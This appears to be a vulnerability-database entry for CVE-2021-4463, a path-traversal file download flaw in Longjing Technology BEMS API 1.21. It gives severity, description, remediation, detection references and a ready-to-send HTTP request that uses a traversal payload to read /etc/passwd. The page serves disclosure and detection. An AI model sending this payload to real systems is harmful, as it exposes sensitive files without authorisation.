🔙 목록으로 돌아가기

CVE-2021-4463: Longjing Technology BEMS API 1.21 - Unauthenticated Arbitrary File Download

TitleLongjing Technology BEMS API 1.21 - Unauthenticated Arbitrary File Download
Authorgy741
SeverityHigh
ImpactUnauthenticated attackers can download sensitive files outside the intended directory, leading to information disclosure.
RemediationUpdate to the latest version beyond 1.21.
CVSS Score7.5
EPSS Score0.01851
CVE IDCVE-2021-4463
CWE IDCWE-22,CWE-552
Tags cve cve2021 lfi packetstorm vuln

🔍 Vulnerability Description

Longjing Technology BEMS API 1.21 is vulnerable to local file inclusion. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.

🌐 HTTP Request

GET /api/downloads?fileName=../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-4463.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-4463.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A